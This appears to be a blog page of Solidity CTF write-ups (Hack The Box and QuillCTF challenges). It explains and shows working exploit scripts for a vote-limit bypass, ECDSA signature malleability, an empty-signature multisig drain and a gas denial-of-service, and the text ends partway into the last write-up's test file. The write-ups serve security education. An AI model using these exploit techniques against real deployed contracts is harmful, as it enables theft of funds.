Skip to main content

20 posts tagged with "web3"

View All Tags

· 8 min read
Kaan Caglan

2244 Elections is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting only 1ip port pairs. So our general approach is not going to work here.

docker spawned

And appearantly that ip:port pair is a web page.

creds

If we click the Connection button on right upper we get our credentials

{
"PrivateKey": "0x86e20db2fd41d46e3c1f9fba4251f47888ad2fce181d815fd6029883b22cad84",
"Address": "0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14",
"TargetAddress": "0x98cA011fAdCCef08800803Ce26319782B24F498E",
"setupAddress": "0x28744218B1B7938EAb17BA9d4847f4ceBD846444"
}

Source Codes

With this challenge we got only one contract and thats the Setup.sol and we don't have the source code of Target. So it will be kind of blackbox.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Voting} from "./Voting.sol";

contract Setup {
Voting public immutable TARGET;

constructor() payable {
require(msg.value == 1 ether);
TARGET = new Voting();
}

function isSolved() public view returns (bool) {
return (TARGET.WinningParty() == bytes3("UNZ"));
}
}

Solution

We can only see that the party UNZ should win for us to get the flag. And we have no idea what is written on Voting contract. So we need to track something from web page with the help of burp suite. I see there are couple POST /rpc requests when i refresh the page.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 250
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_call","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xb5b8f5bd426f410000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 20:58:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x0000000000000000000000000000000000000000000000000000000008f0d17f"}

So we can see that they are using Ethereum JSON-RPC for calls. From the data section on that json we can understand the function from function signature (first 4 bytes). If we just copy paste it to 4byte dictionary we can see that request is PartyVotes(bytes3) so it returns value and web page just creates animation for those percentages.

creds

If we click Vote and select UNZ and SEND we see another request

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 389
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{"from":"0xBD1A71b64E46b731E7268eA3Ec70D99399f57d14","to":"0x98cA011fAdCCef08800803Ce26319782B24F498E","data":"0xf163fff9554e5a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"}],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:05:16 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x7d7952651d5840ad2ea2e51dd482cd0579c902bb5f12e682d9b29821fd3529b1"}

And that 0xf163fff9 stands for publicVote(bytes3,bytes4,bytes3)

vote

So we know how to vote for our party. However if we try to resend that request we get "execution reverted: Already voted!" error. So we just can send 1 vote. We can try to get byteCode of this contract with the help of JSON-RPC.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 120
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_getCode","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x2"],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:09:11 GMT
Connection: close
content-type: application/json
Content-Length: 1875
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x6080604052600436101561001257600080fd5b6000803560e01c9081631ee7b2d7146100bd5781632a58bee1146100755750806386de697014610070578063aadd1d041461006b578063b5b8f5bd146100665763f163fff91461006157600080fd5b61019e565b610163565b610128565b6100d7565b346100ba5760203660031901126100ba576004356001600160a01b038116908190036100b65760408260ff9260209452600384522054166040519015158152f35b5080fd5b80fd5b346100ba57806003193601126100ba575460805260206080f35b346100f55760003660031901126100f5576020600254604051908152f35b600080fd5b600435906001600160e81b0319821682036100f557565b604435906001600160e81b0319821682036100f557565b346100f55760203660031901126100f5576101496101446100fa565b6102df565b005b62ffffff60e81b166000526004602052604060002090565b346100f55760203660031901126100f5576001600160e81b03196101856100fa565b1660005260046020526020604060002054604051908152f35b346100f55760603660031901126100f5576101b76100fa565b602435906001600160e01b0319821682036100f557610149916101d8610111565b6101ec6101e48461014b565b54151561025f565b60e81c906001549060e01c1460011461024a575060015b336000908152600360205260409020546102209060ff16156102a2565b62ffffff61022d8361014b565b9116815401905533600052600360205260016040600020556102df565b33600052600360205260006040812055610203565b1561026657565b60405162461bcd60e51b8152602060048201526014602482015273506172747920646f65736e27742065786973742160601b6044820152606490fd5b156102a957565b60405162461bcd60e51b815260206004820152600e60248201526d416c726561647920766f7465642160901b6044820152606490fd5b6001600160e81b03191660008181526004602052604090205460025411156103045750565b6080817fba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d8692600055604051908152604060208201526011604082015270776f6e2074686520456c656374696f6e7360781b6060820152a156fea264697066735822122049861426e16379e484aec538daf43f9ae57a34b7f04aead974fadddea7296b6064736f6c63430008140033"}

Now we have the bytecode of the contract. We can try to decode it with public decoders like dedaub. If we decompile it Dedaub gives us this decoded code.

// Decompiled by library.dedaub.com
// 2023.07.14 14:16 UTC
// Compiled using the solidity compiler version 0.8.20


// Data structures and variables inferred from the use of storage instructions
uint256 stor_0; // STORAGE[0x0]
uint256 stor_1; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]
mapping (uint256 => uint256) owner; // STORAGE[0x3]
mapping (uint256 => uint256) map_4; // STORAGE[0x4]



function 0xf163fff9(bytes3 varg0, bytes4 varg1, bytes3 varg2) public nonPayable {
require(~3 + msg.data.length >= 96);
require(!(varg0 - varg0));
require(!(varg1 - varg1));
require(!(varg2 - varg2));
require(!bool(!map_4[bytes3(varg0)]), Error("Party doesn't exist!"));
v0 = v1 = varg2 >> 232;
if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}
require(!bool(uint8(owner[msg.sender])), Error('Already voted!'));
map_4[varg0] = map_4[varg0] + uint24(v0);
owner[msg.sender] = 1;
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ce;
}
}

function 0xb5b8f5bd(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return map_4[varg0];
}

function 0xaadd1d04(bytes3 varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
if (stor_2 <= map_4[varg0]) {
stor_0 = varg0;
emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
goto 0x5ad;
}
}

function 0x86de6970() public nonPayable {
require(~3 + msg.data.length >= 0);
return stor_2;
}

function 0x2a58bee1(address varg0) public nonPayable {
require(~3 + msg.data.length >= 32);
require(!(varg0 - varg0));
return bool(uint8(owner[address(varg0)]));
}

function 0x1ee7b2d7() public nonPayable {
require(msg.data.length + ~3 >= 0);
return stor_0;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(msg.data.length >= 4);
if (0x1ee7b2d7 == function_selector >> 224) {
0x1ee7b2d7();
} else if (0x2a58bee1 == function_selector >> 224) {
0x2a58bee1();
} else if (0x86de6970 == function_selector >> 224) {
0x86de6970();
} else if (0xaadd1d04 == function_selector >> 224) {
0xaadd1d04();
} else if (0xb5b8f5bd == function_selector >> 224) {
0xb5b8f5bd();
} else {
require(0xf163fff9 == function_selector >> 224);
0xf163fff9();
}
}

From here we can see function 0xb5b8f5bd and 0xf163fff9 which are stand for PartyVotes(bytes3) and publicVote(bytes3,bytes4,bytes3). So if we take a look to the PartyVotes function there is pretty much nothing special, it just gets one bytes3 variable which is in this case our party name and returns the value from map return map_4[varg0];. So we can assume that map_4 is responsible to count votes. However on publicVote(bytes3,bytes4,bytes3) function there are some interesting controls.

    if (1 == (varg1 >> 224 == stor_1)) {
owner[msg.sender] = 0;
goto 0x203;
} else {
v0 = v2 = 1;
}

If code enters to that if statement it just assigns 0 to owner[msg.sender] and which is controlled right after that if else block in require statement and raises error "Already voted" require(!bool(uint8(owner[msg.sender])), Error('Already voted!')); so it mean that owner map is controlling if msg.sender already voted or not. But if we bypass that if statement somehow it means we can vote again.

That if statement will be True only if 224 right shifted varg1 is equal to stor_1. To achieve this we need to find what is hidden in stor_1. We can do that again with JSON-Rpc with calling getStorageAt. And that stor_1 is on index 1.

Request

POST /rpc HTTP/1.1
Host: 94.237.54.201:35156
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://94.237.54.201:35156/
Content-Type: application/json
Content-Length: 136
Origin: http://94.237.54.201:35156
Connection: close

{"jsonrpc":"2.0","method":"eth_getStorageAt","params":[
"0x98cA011fAdCCef08800803Ce26319782B24F498E",
"0x1",
"latest"],"id":"latest"}

Response

HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 15 Jul 2023 21:17:06 GMT
Connection: close
content-type: application/json
Content-Length: 109
access-control-allow-origin: *
vary: origin
vary: access-control-request-method
vary: access-control-request-headers
Access-Control-Allow-Origin: http://94.237.54.201:35156
Vary: Origin

{"jsonrpc":"2.0","id":"latest","result":"0x00000000000000000000000000000000000000000000000000000000f00dbabe"}

So now we know that the value in stor_1 is 0xf00dbabe. And varg2 is used to increase vote count, and if we pass that if statement it means we can also give more vote than 1 in the same time. From the vote rpc request we know our party id is 0x554e5a, we know we should send varg1 as 0xf00dbabe and we also know varg2 is our vote power, so we can give it 0xffffff as maximum. To create this data we can write very small solidity code on local.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

contract GetData {
constructor() public {
}

function getData(bytes3 varg0, bytes4 varg1, bytes3 varg2) public view returns (bytes memory){
return abi.encodeWithSignature("publicVote(bytes3,bytes4,bytes3)", varg0, varg1, varg2);
}
}

And we can create that data with calling this function

>>> x = GetData.deploy({'from': accounts[0]})
Transaction sent: 0x5e53943d0e6d6510c021dc6f5e32f2068d5a2da597fcbf81265aefddac14dfba
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8
GetData.constructor confirmed Block: 9 Gas used: 132151 (1.10%)
GetData deployed at: 0x420b1099B9eF5baba6D92029594eF45E19A04A4A

>>> x.getData(0x554e5a, 0xf00dbabe, 0xffffff)
0xf163fff9554e5a0000000000000000000000000000000000000000000000000000000000f00dbabe00000000000000000000000000000000000000000000000000000000ffffff0000000000000000000000000000000000000000000000000000000000
>>>

So if we call vote request with this data we should be able to vote over and over again until we won the election. Since we can't vote anymore, we just need to restart machine, intercept our request and change data with this one.

flag

And after interception when we click Forward and refresh the page we see that our party got ~%10 more percentage and became %20.

flag

So if we keep sending same request ~8 times with the help of repeater we will won the election.

flag

FLAG

flag

· 6 min read
Kaan Caglan

Confidentiality is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting 2 different ip port pairs. From first question we know that

As you have already seen, there are 2 ports provided.

- The one port is the `tcp` port, which is used to retrieve information about connecting to the private chain, such as private key, and the target contract's addresses. You can connect to this one using `netcat`.
- The other port is the `rpc` url. You will need this in order to connect to the private chain.

In order to figure out which one is which, try using `netcat` against both. The one which works is the `tcp` port, while the other one is the `rpc url`.

One is TCP and the other one is RPC url.

docker spawned

If we try both we will see that 55531 port is the TCP one which we can retrieve information about challenge.

creds

So now we know our private key and the address of contracts.

Private key     :  0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6
Address : 0x75cDB60361347688c3cBC7fc16DE76dbBE0789C6
Target contract : 0xf2b742287005ef6b06C45f540dA5583569312E1f
Setup contract : 0x5917511316367ee9211004CC47CFaB737A165481

Connection

>>> from brownie import *

priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]

ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)

setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')

assert attacker.balance() > 0

>>> attacker.balance()
5000000000000000000000

brownie-config.yaml

networks:
default: development
development:
host: 94.237.55.114
port: 55676
network_id: "*"
chainid: 31337
cmd_settings:
unlock:
- 0x3f4f44912A322DCD02adB6640Ed38217BbFbcb98

Source Codes

This contract has 2 main solidity file and couple helpers. I won't paste helpers here because they are not vulnerable and they are just copy paste functions from openzeppelin.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {AccessToken} from "./AccessToken.sol";

contract Setup {
AccessToken public immutable TARGET;

constructor(address _owner, bytes memory signature) {
TARGET = new AccessToken(_owner);

// Secure 1 AccessToken for myself
TARGET.safeMintWithSignature(signature, address(this));
}

function isSolved(address _player) public view returns (bool) {
return TARGET.balanceOf(_player) > 0;
}
}

Campaign.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {ERC721} from "./lib/ERC721.sol";
import {Owned} from "./lib/Owned.sol";

contract AccessToken is ERC721, Owned {
uint256 public currentSupply;
bytes[] public usedSignatures;

bytes32 public constant approvalHash = 0x4ed1c9f7e3813196653ad7c62857a519087860f86aff4bc7766c8af8756a72ba;

constructor(address _owner) Owned(_owner) ERC721("AccessToken", "ACT") {}

function safeMint(address to) public onlyOwner returns (uint256) {
return _safeMintInternal(to);
}

function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");

usedSignatures.push(signature);

return _safeMintInternal(to);
}

function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);

return signer == owner;
}

function _isSignatureUsed(bytes memory _signature) internal view returns (bool) {
for (uint256 i = 0; i < usedSignatures.length; i++) {
if (keccak256(_signature) == keccak256(usedSignatures[i])) {
return true;
}
}
return false;
}

function _safeMintInternal(address to) internal returns (uint256) {
currentSupply += 1;
_safeMint(to, currentSupply);
return currentSupply;
}

// ##### Signature helper utilities

// utility function to deconstruct a signature returning (v, r, s)
function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return (v, r, s);
}

function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
return abi.encodePacked(r, s, v);
}
}

Solution

If we take a look to the Setup contract it can be seen that to solve this question we need to mint/transfer some TARGET tokens to ourself. And we know that TARGET is AccessToken from AccessToken.sol. The contract AccessToken has couple functions for mint operation however one is internal and one oft hem has a onlyOwner modifier. So it means there is only one mint function that we can call which is safeMintWithSignature. That function is checking the signature at very first to verify it and to see if that signature is used or not. Since there is a _isSignatureUsed function control it means we can not use previously given signatures. And on the constructor of Setup.py we know one signature used and pushed to the usedSignatures array. If we take a look to the _verifySignature function we can see that its just deconstructs the given signature to r, s, v and verifies it with ecrecover to see if signer is owner or not. Since we already have one valid signature we can try to use Signature Malleability vulnerability.

    function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");

usedSignatures.push(signature);

return _safeMintInternal(to);
}

function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);

return signer == owner;
}

So to check current valid hash we can do

>>> target.usedSignatures(0)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f1b
>>> target.deconstructSignature(target.usedSignatures(0))
(27, 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c, 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f)

We can use that v, r and s values t o create new signature

import ecdsa
v = 27
r = 0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8c
s = 0x3c62e1f9c7fb89109a6bfd51fe3791de70bb3dc00eecce25c8cfb76609a9258f

# ECDSA curve order
n = ecdsa.SECP256k1.order

# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28

print("New Signature: ", (v_new, r, s_new))

And the output is

New Signature:  (28, 85327200469984395632502839566776837187115176720309848430044766911403184373644, 88478607682956560751764001115168458186918560835760767434360627727659894119346)

So now we can construct new signature from this v,r,s pair and send it to target class to mint some tokens.

>>> new_v = 28
>>> new_r = 85327200469984395632502839566776837187115176720309848430044766911403184373644
>>> new_s = 88478607682956560751764001115168458186918560835760767434360627727659894119346
>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c

and use it on mint function.

>>> target.constructSignature(new_v, new_r, new_s)
0xbca57be80ac3a0814fb298d7115ff0c9ff8288efa9c8558ef86b5525aef03f8cc39d1e06380476ef659402ae01c86e2049f39f26a05bd215f702a726c68d1bb21c
>>> target.balanceOf(attacker)
0
>>> target.safeMintWithSignature(target.constructSignature(new_v, new_r, new_s), attacker, {'from': attacker})
Transaction sent: 0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc
Gas price: 0.0 gwei Gas limit: 30000000 Nonce: 2
AccessToken.safeMintWithSignature confirmed Block: 4 Gas used: 185202 (0.62%)

<Transaction '0xfca6757b632175b627c201e148b84e29fe6eabbc5157ca4add4f08c67e1179dc'>
>>> target.balanceOf(attacker)
1

FLAG

flag

Brownie Script

from brownie import *

priv_key = '0x958fb14069f3b4e5e2502d378f7804ecd87b0eb7ef3d79f711d876d0195f1ea6'
accounts.add(private_key=priv_key)
attacker = accounts[-1]

ip_port = 'http://94.237.55.114:55676'
web3.connect(ip_port)

setup = Setup.at('0x5917511316367ee9211004CC47CFaB737A165481')
target = AccessToken.at('0xf2b742287005ef6b06C45f540dA5583569312E1f')

assert attacker.balance() > 0

import ecdsa
v,r,s = target.deconstructSignature(target.usedSignatures(0))
v = v_r_s[0]
r = v_r_s[1]
s = v_r_s[2]
# ECDSA curve order
n = ecdsa.SECP256k1.order

# New s and v
s_new = (-s) % n
v_new = 27 if v == 28 else 28

print("New Signature: ", (v_new, r, s_new))

target.safeMintWithSignature(target.constructSignature(v_new, r, s_new), attacker, {'from': attacker})

· 5 min read
Kaan Caglan

Funds Secured is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting 2 different ip port pairs. From first question we know that

As you have already seen, there are 2 ports provided.

- The one port is the `tcp` port, which is used to retrieve information about connecting to the private chain, such as private key, and the target contract's addresses. You can connect to this one using `netcat`.
- The other port is the `rpc` url. You will need this in order to connect to the private chain.

In order to figure out which one is which, try using `netcat` against both. The one which works is the `tcp` port, while the other one is the `rpc url`.

One is TCP and the other one is RPC url.

docker spawned

If we try both we will see that 40733 port is the TCP one which we can retrieve information about challenge.

creds

So now we know our private key and the address of contracts.

Private key           :  0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c
Address : 0x6363E5DEbc80d63F39816609C4Be458871Ce4df4
Crowdfunding contract : 0x78D3958259918349919A20582a02E32938e3928c
Wallet contract : 0x4657eC90D8791240D12928138c873118284BFe8C
Setup contract : 0x18d15f699D179FC5EF4B0738685Bee8543c19BBd

Connection

>>> from brownie import *

priv_key = '0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c'
accounts.add(private_key=priv_key)
attacker = accounts[-1]


ip_port = 'http://94.237.49.147:49417'
web3.connect(ip_port)



setup = Setup.at('0x18d15f699D179FC5EF4B0738685Bee8543c19BBd')
wallet = CouncilWallet.at('0x4657eC90D8791240D12928138c873118284BFe8C')
crowdFunding = Crowdfunding.at('0x78D3958259918349919A20582a02E32938e3928c')

assert attacker.balance() > 0
>>> attacker.balance()
5000000000000000000000
>>> crowdFunding.balance()
1100000000000000000000

brownie-config.yaml

networks:
default: development
development:
host: 94.237.49.147
port: 49417
network_id: "*"
chainid: 31337

Source Codes

This contract has 2 main solidity file and couple helpers. I won't paste helpers here because they are useless for this challenge.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";

contract Setup {
Crowdfunding public immutable TARGET;
CouncilWallet public immutable WALLET;

constructor() payable {
// Generate the councilMember array
// which contains the addresses of the council members that control the multi sig wallet.
address[] memory councilMembers = new address[](11);
for (uint256 i = 0; i < 11; i++) {
councilMembers[i] = address(uint160(i));
}

WALLET = new CouncilWallet(councilMembers);
TARGET = new Crowdfunding(address(WALLET));

// Transfer enough funds to reach the campaing's goal.
(bool success,) = address(TARGET).call{value: 1100 ether}("");
require(success, "Transfer failed");
}

function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}

Campaign.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {ECDSA} from "./lib/ECDSA.sol";

/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
using ECDSA for bytes32;

address[] public councilMembers;

/// @notice Register the 11 council members in the wallet
constructor(address[] memory members) {
require(members.length == 11);
councilMembers = members;
}

/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));

for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);

// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");

// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}

Crowdfunding(crowdfundingContract).closeCampaign(to);
}

/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
function _contains(address[] memory _array, address _address) private pure returns (bool) {
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _address) {
return true;
}
}
return false;
}
}

contract Crowdfunding {
address owner;

uint256 public constant TARGET_FUNDS = 1000 ether;

constructor(address _multisigWallet) {
owner = _multisigWallet;
}

receive() external payable {}

function donate() external payable {}

/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
}

Solution

If we take a look to the Setup contract it can be seen that to solve this question we need to make balance of TARGET 0. And we know that TARGET is Crowdfunding from Campaign.sol. The contract CrowdFunding has one function named closeCampaign which calls selfdestruct. And we know that if one contract calls selfdestruct all of the native tokens in the contract are transferred to the to parameter which is given as an argument to selfdestruct function. So somehow we need to call that function. On the contract CouncilWallet there is also another function named closeCampaign and at the end of that function it is calling closeCampaign function of the contract Crowdfunding. So it means as an attacker we need to call this function.

That function is getting an array of signatures and then it checks if all of the signatures are valid and it calls closeCampaign after that. However it can be seen that that function does not have any length restrictions for signatures array. So it means we can give empty signatures array to that function, give our address as to and give the address of Crowdfunding contract. At the end since it won't enter to the for loop it will directly call closeCampaign and we will have all the money.

POC

>>> wallet.closeCampaign([], attacker, crowdFunding.address, {'from': attacker})
Transaction sent: 0x7a88080ff4f023e7b5fa4e0d4489d627fb00de19727b11d3275b18f1afdce00c
Gas price: 0.0 gwei Gas limit: 30000000 Nonce: 0
CouncilWallet.closeCampaign confirmed Block: 2 Gas used: 33544 (0.11%)

<Transaction '0x7a88080ff4f023e7b5fa4e0d4489d627fb00de19727b11d3275b18f1afdce00c'>

>>> attacker.balance()
6100000000000000000000
>>> wallet.balance()
0

flag

Brownie Script

from brownie import *

priv_key = '0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c'
accounts.add(private_key=priv_key)
attacker = accounts[-1]


ip_port = 'http://94.237.49.147:49417'
web3.connect(ip_port)

setup = Setup.at('0x18d15f699D179FC5EF4B0738685Bee8543c19BBd')
wallet = CouncilWallet.at('0x4657eC90D8791240D12928138c873118284BFe8C')
crowdFunding = Crowdfunding.at('0x78D3958259918349919A20582a02E32938e3928c')

assert attacker.balance() > 0

wallet.closeCampaign([], attacker, crowdFunding.address(), {'from': attacker})

assert wallet.balance() == 0

· 5 min read
Kaan Caglan

Private Club is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

1. Become a member of a private club.
2. Block future registrations.
3. Withdraw all Ether from the privateClub contract.

So we have 3 different objectives. First we need to become a member of club, second we need to DOS contract somehow and third we need to withdraw all ether from contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";

contract PrivateClub is ReentrancyGuard, Ownable {
uint private registerEndDate;
event setRegEndDate(uint registerEndDate);
event memberWithdrawevent(address member, address to, uint amount);
address[] public members_;
mapping(address => bool) public members;

receive() external payable {}

uint public membersCount;

function setRegisterEndDate(uint _newRegisterEndDate) external onlyOwner {
registerEndDate = _newRegisterEndDate;
emit setRegEndDate(registerEndDate);
}

function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}

modifier onlyMember() {
bool member;
for (uint i = 0; i < membersCount; i++) {
if (members_[i] == msg.sender) {
member = true;
}
}

require(member == true, "you are not a member");
_;
}

function adminWithdraw(address to, uint amount) external onlyOwner {
payable(to).call{value: amount}("");
}

function addMemberByAdmin(address newMember) external onlyOwner {
membersCount += 1;
members[newMember] = true;
members_.push(newMember);
}

function buyAdminRole(address newAdmin) external payable onlyMember {
require(msg.value == 10 ether, "need 10 ethers");
_transferOwnership(newAdmin);
}
}

If we take a look to the setup contract it can be seen that vm.deal(hacker, 10 ether); hacker has 10 ether already so it means we can call buyAdminRole with 10 ether and withdraw all balance from contract with the function adminWithdraw. We can also see that becoming a club member is not that hard if we have enough money. We can call becomeMember function with enough ethers to be a member. We just need to figure it out how can we DOS the contract.

    function becomeMember(
address[] calldata _members
) external payable nonReentrant {
require(block.timestamp < registerEndDate, "registration closed");
require(_members.length == membersCount, "wrong members length");
require(msg.value == membersCount * 1 ether, "need more ethers");
for (uint i = 0; i < _members.length; i++) {
_members[i].call{value: 1 ether}("");
}
membersCount += 1;
members[msg.sender] = true;
members_.push(msg.sender);
}

It can be seen that on the becomeMember function we need to give a list _members which is equal to the global membersCount so it can't be bypassed. And function is increasing that membersCount in every run. So it means this function must call _members[i].call{value: 1 ether}(""); this statement incrementing by 1 each time. Since .call is a gas consuming operation if we call this function couple of times, this function will revert due to out of gas.

POC

  • Hacker calls becomeMember function with giving enough time of hacker value inside the _members array
  • That function will give back the given ethers in loop, since array is full of hacker it will return them all
  • Keep calling becomeMember with given gas limit blockGasLimit until it reverts
  • When it reverts break the loop and call the buyAdminRole with 10 ether and right after that call adminWithdraw.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/PrivateClub.sol";

contract Hack is Test {
address[] public members_;
PrivateClub club;

address clubAdmin = makeAddr("clubAdmin");
address adminFriend = makeAddr("adminFriend");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
